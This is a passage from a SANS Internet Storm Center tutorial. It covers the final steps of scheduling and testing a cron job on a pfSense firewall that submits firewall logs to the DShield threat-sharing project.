Select “Add”, and fill in the corresponding details (Please refer to Figure 13 for a screenshot of the configuration):

Minute – 11,41
Hour – *
Day of the Month – *
Month of the Year – *
Day of the Week – *
User – root
Command – /root/bin/dshield.php

Figure 13: Configuration of dshield.php Cron Job

6) Configuration complete, and test dshield.php

After all the configuration has been completed, run the command (without quotes) “/root/bin/dshield.php” in the pfSense WebGUI Command Prompt. With reference to Figure 14, it shows a successful execution of dshield.php.

Figure 14: Successful execution of dshield.php

After a few minutes (it may take a while at times), you will receive an acknowledgement from admin<at>dshield[.]org and a short summary of what was submitted to DShield. Alternatively, if you did not opt in to receive an acknowledgement e-mail after submitting your firewall logs, you can also navigate to the “My Reports” tab in your Internet Storm Center account to see the logs that you have submitted (in the last 30 days). The command (input the command without quotes) “cat /tmp/lastdshieldlog” can also be executed in the pfSense WebGUI Command Prompt to check the contents of firewall logs last submitted to the SANS Internet Storm Center.

With that, your pfSense firewall has been configured to regularly submit firewall logs to DShield. Registered users also can optionally enable Fightback in their account, and log reports will be forwarded to the Internet Service Provider (ISP) where the attack originated from after analysis [8]. All DShield data is consolidated over here [9], and will benefit users globally in protecting their networks from intrusion attempts.


Yee Ching Tok, ISC Handler
Personal Site

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.